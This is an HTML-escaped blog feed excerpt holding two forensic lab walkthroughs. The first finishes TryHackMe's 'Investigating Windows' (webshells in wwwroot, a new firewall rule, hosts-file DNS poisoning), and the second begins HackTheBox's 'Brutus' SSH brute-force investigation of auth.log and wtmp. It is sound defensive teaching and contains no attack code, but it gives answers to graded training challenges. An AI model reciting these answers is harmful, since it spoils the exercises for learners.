to warrant further investigation.&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of this walkthrough, we’ve found the answer — the public IP addresses in the &lt;code&gt;hosts&lt;/code&gt; file likely belongs to the attacker’s command and control infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;90c58e5170be4af69e3253e845a6464f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/90c58e5170be4af69e3253e845a6464f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-14-what-was-the-extension-name-of-the-shell-uploaded-via-the-serverswebsite&#34;&gt;Question 14: What was the extension name of the shell uploaded via the servers website?&#xA;&lt;/h3&gt;&lt;p&gt;To discover the answer to &lt;strong&gt;Question 14&lt;/strong&gt;, let’s focus on a clue in the question itself: “shell uploaded via the servers website.” This tells us that the compromised device is also acting as a web server. In Windows, the &lt;strong&gt;IIS&lt;/strong&gt; service typically stores the web server assets in the folder &lt;code&gt;C:\inetpub\wwwroot&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By examining this directory on the compromised system, we’ll discover three potentially malicious files.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8ed62c071e996bc255d737512008b004_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1072px&#34; data-flex-grow=&#34;446&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/8ed62c071e996bc255d737512008b004_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Capturing the file hashes, we’ll pivot back over to VirusTotal to gather some additional intelligence to determine if we’ve identified &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1505/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;WebShells&lt;/strong&gt; (T1505.003)&lt;/a&gt; uploaded by the attacker for persistence.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9b801724f94d78077231b134c41a69dd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;478px&#34; data-flex-grow=&#34;199&#34; height=&#34;401&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/9b801724f94d78077231b134c41a69dd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7c650709259e6b3a167e19c6cbbb14df_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1254px&#34; data-flex-grow=&#34;522&#34; height=&#34;153&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/7c650709259e6b3a167e19c6cbbb14df_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be4/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be4/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1e14ed807bb04151db81a9aee6d3d1a6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/1e14ed807bb04151db81a9aee6d3d1a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using VirusTotal, we can analyze the file hashes to confirm if these files are indeed malicious WebShells. The file extension of the shell uploaded via the server’s website will be revealed through this analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;acb48dc3538842e0a78b265d6b386b10_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/acb48dc3538842e0a78b265d6b386b10_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-15-what-was-the-last-port-the-attackeropened&#34;&gt;Question 15: What was the last port the attacker opened?&#xA;&lt;/h3&gt;&lt;p&gt;To determine the last port the attacker opened, we’ll turn our focus to searching for activity related to network ports. Specifically, we’ll assess the &lt;strong&gt;Windows Firewall&lt;/strong&gt; rules to check if the attacker made any modifications to grant access through the firewall.&lt;/p&gt;&#xA;&lt;p&gt;Instead of blindly reviewing the firewall rules, let’s work a little smarter by auditing the event log again to check for any changes during the time of the attack.&lt;/p&gt;&#xA;&lt;p&gt;To find Windows Firewall rule changes in the event log, follow these steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Navigate to Event Viewer &amp;gt; Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; Windows Firewall with Advanced Security &amp;gt; Firewall.&lt;/li&gt;&#xA;&lt;li&gt;Filter for “Events On” the date of the attack so that we can review the changes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;While there many events captured, most look benign and expected for a Windows system — except one that sticks out due to the rule name and the user account that modified the rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;65c169b1a9c31482dfc14f64ad9433e3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;524px&#34; data-flex-grow=&#34;218&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/65c169b1a9c31482dfc14f64ad9433e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying a new Windows Firewall rule with the Event Viewer&lt;/p&gt;&#xA;&lt;p&gt;Next, let’s locate this rule in &lt;strong&gt;Windows Firewall with Advanced Security&lt;/strong&gt; options by navigating to &lt;strong&gt;Inbound Rules.&lt;/strong&gt; This console can be accessed by pressing the Windows “start” button and typing in “firewall.”&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d35ecabc7d0b308123445f6a05c166b8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;534px&#34; data-flex-grow=&#34;222&#34; height=&#34;359&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/d35ecabc7d0b308123445f6a05c166b8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Validating the new firewall rule in the Windows Firewall interface&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve located the rule that we discovered in the event logs, we can check the local port that was opened on the firewall by the attacker and identify the last port they opened.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;847f84d0b0c1e339c541e678382928a1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/847f84d0b0c1e339c541e678382928a1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-16-check-for-dns-poisoning-what-site-was-targeted&#34;&gt;Question 16: Check for DNS poisoning, what site was targeted?&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to the last question for our investigation — great job! Fortunately, we’ve already stumbled across the answer for &lt;strong&gt;Question 16&lt;/strong&gt; during our analysis of the hosts file back in &lt;strong&gt;Question 13&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The answer we’re looking for is the host name entry associated with the command and control IP address we discovered. This entry indicates the site targeted by DNS poisoning.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9bdaf95863d3a1d36a8afc08e9850a51_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;267px&#34; data-flex-grow=&#34;111&#34; height=&#34;718&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/9bdaf95863d3a1d36a8afc08e9850a51_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;By reviewing the &lt;code&gt;hosts&lt;/code&gt; file again, we can confirm the targeted site and understand how the attacker manipulated DNS settings to redirect traffic to their command and control server. Now let’s wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;842b547e28e70e864874ce62deb97cbb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/842b547e28e70e864874ce62deb97cbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! Throughout this investigation, we combed through the Windows Event Logs to determine what users accessed the system and correlated event data during the timeframe of the attack. Using Registry Editor and Task Scheduler, we discovered the attacker’s methods of persistence and found evidence of payloads executing on logon and at scheduled intervals. Finally, we uncovered further evidence of the attack in the Windows Hosts File and File Explorer which we enriched using threat intelligence from VirusTotal.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/investigatingwindows&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Investigating Windows&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, for the fun and realistic challenge! This was an excellent opportunity for me to practice hands-on-keyboard analysis of a Windows environment to manually perform the investigation. It was a great lesson in the fundamentals of DFIR and promoted a creative analysis of the available artifacts to discover the answers to the questions. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and it pumps me up to support your security journey. Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07670987b1c64247f60a1576b9626235_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;-Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/investigatingwindows&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/investigatingwindows&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-MITRE ATT&amp;amp;CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1105/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-MITRE ATT&amp;amp;CK — Scheduled Task/Job: Scheduled Task (T1053.005):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1053/005/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-Microsoft Learn — schtasks commands:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-Microsoft Learn — 4624(S): An account was successfully logged on:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-VirusTotal — f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-MITRE ATT&amp;amp;CK — Mimikatz (S0002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-MITRE ATT&amp;amp;CK — Server Software Component: Web Shell (T1505.003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1505/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1505/003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-VirusTotal — 322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/322e0bd2c20a01039fc235ba426d9d32b4960655609d0199066f828fb4904be4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;-VirusTotal — 85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/85053b9b54db5ff616b40521670080139459655ac6162bdb839fcfb9574166ca&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — Brutus Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/</link>
            <pubDate>Sun, 16 Mar 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/31f7f048397385ab2d3044505fdddcd2_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — Brutus Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hacktheboxbrutus-sherlock-walkthrough&#34;&gt;HackTheBox — Brutus Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-brute-force-attack-using-the-authlog-and-wtmplog&#34;&gt;Investigating a Brute Force Attack Using the auth.log and wtmp log.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;31f7f048397385ab2d3044505fdddcd2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/31f7f048397385ab2d3044505fdddcd2_MD5.png&#34; width=&#34;320&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Brutus/play&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/Brutus/play&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you’ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Brutus&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brutus&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. Imagine this scenario as we step into the shoes of a digital forensics analyst:&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The adversary has brute-forced the SSH service on a web server, gained initial access, and we need to investigate how it happened and what else they did with their access to mitigate the threat. Our objective is to analyze the server’s &lt;code&gt;auth.log&lt;/code&gt; and &lt;code&gt;wtmp&lt;/code&gt; logs to create a detailed timeline of the attacker’s activities, including initial access, privilege escalation, and persistence. To analyze these logs, we’re going to leverage &lt;strong&gt;Notepad++&lt;/strong&gt; and &lt;code&gt;utmpdump&lt;/code&gt;, then enrich our findings by pivoting to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to fully understand the adversary’s tactics and techniques.&lt;/p&gt;&#xA;&lt;p&gt;Sounds exciting, right? Let’s get dive right into it! If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this. Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-analyze-the-authlog-what-is-the-ip-address-used-by-the-attacker-to-carry-out-a-brute-forceattack&#34;&gt;Question 1: Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?&#xA;&lt;/h3&gt;&lt;p&gt;Okay — let’s jump right into this challenge by opening the first provided artifact, &lt;code&gt;auth.log&lt;/code&gt;. For context, &lt;code&gt;auth.log&lt;/code&gt; is the server’s authentication log which is a good starting point to identify a &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;brute force&lt;/strong&gt;&lt;/a&gt; attack as we can analyze successful and failed logins.&lt;/p&gt;&#xA;&lt;p&gt;While there are other ways to approach the initial analysis, for this walkthrough, I’m going to simply use &lt;strong&gt;Notepad++&lt;/strong&gt; for my approach but feel free to choose any text editor you’d like!&lt;/p&gt;&#xA;&lt;p&gt;With the artifact open, scroll through the events, and quickly we’ll observe dozens of lines returning &lt;code&gt;Invalid user&lt;/code&gt; and &lt;code&gt;Failed password&lt;/code&gt; from a single IP address, &lt;code&gt;65.2.161.68&lt;/code&gt;. The large number of failed attempts to access these accounts is indicative of brute force password guessing (MITRE ATT&amp;amp;CK — &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1110.001&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9da7f198a1a295341dec73fd1980507e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;409px&#34; data-flex-grow=&#34;170&#34; height=&#34;469&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/9da7f198a1a295341dec73fd1980507e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Snippet from auth.log revealing failed username and password guessing attempts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a9b2ca2904a814ce0ad222a345117bc1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1361px&#34; data-flex-grow=&#34;567&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/a9b2ca2904a814ce0ad222a345117bc1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-the-bruteforce-attempts-were-successful-and-attacker-gained-access-to-an-account-on-the-server-what-is-the-username-of-theaccount&#34;&gt;Question 2: The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve discovered the attacker’s IP address, we’ll need to determine what account they successfully accessed. To do this, we’ll first need to understand what a successful login looks like. For example, toward the top of the log on lines 11–15, we’ll find a successful login for the &lt;code&gt;root&lt;/code&gt; user from the IP address &lt;code&gt;203.101.190.9&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ea9745730653ed11f517b81dc620594f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1371px&#34; data-flex-grow=&#34;571&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/ea9745730653ed11f517b81dc620594f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;auth.log snippet showing a successful sign-in.&lt;/p&gt;&#xA;&lt;p&gt;Having this information gives us a couple of strings that we can search for in the logs by using the “find” function to search for “accepted password,” indicating a successful login event. Let’s keep searching to see what other accounts logged in.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;53706dcb82e744ea072a372dccef28db_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;690px&#34; data-flex-grow=&#34;287&#34; height=&#34;278&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/53706dcb82e744ea072a372dccef28db_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice anything suspicious on line 281? The next hit that we’ll locate is another login from the &lt;code&gt;root&lt;/code&gt; user, but this time, the connecting IP address is the attacker’s — &lt;code&gt;65.2.161.68&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;29bcdd6a2064a8989ea6f781af1be611_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/29bcdd6a2064a8989ea6f781af1be611_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-identify-the-timestamp-when-the-attacker-logged-in-manually-to-the-server-to-carry-out-their-objectives-the-login-time-will-be-different-than-the-authentication-time-and-can-be-found-in-the-wtmp-artifact&#34;&gt;Question 3: Identify the timestamp when the attacker logged in manually to the server to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.&#xA;&lt;/h3&gt;&lt;p&gt;From the sign-in records in the &lt;code&gt;auth.log&lt;/code&gt;, we’ve started to gather a rough timeline of the attack. However, we need to correlate this with the second log artifact, &lt;code&gt;wtmp&lt;/code&gt;, which contains only the successful login/logout events on the system, for a comprehensive picture of the login activity.&lt;/p&gt;&#xA;&lt;p&gt;The tricky part is that &lt;code&gt;wtmp&lt;/code&gt; is a binary log file, so we can’t simply use Notepad++ to read it like we did for &lt;code&gt;auth.log&lt;/code&gt;. Instead, we’ll need to leverage a Linux-based tool like &lt;code&gt;last&lt;/code&gt; to read it. According to the &lt;strong&gt;Ubuntu&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/focal/man1/last.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;manpages&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;last searches back through the /var/log/wtmp file (or the file designated by the -f option) and displays a list of all users logged in (and out) since that file was created.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;If you’re using a Linux-based analysis environment like I am, you’re in good shape. If you’re using a Windows-based environment, you can utilize something like the &lt;strong&gt;Windows Subsystem for Linux (WSL)&lt;/strong&gt; to access this utility. For this walkthrough, I’ll post screenshots from both my REMnux environment and the WSL output for your reference. Let’s try putting this all together, adding in the full timestamps which we can access with the 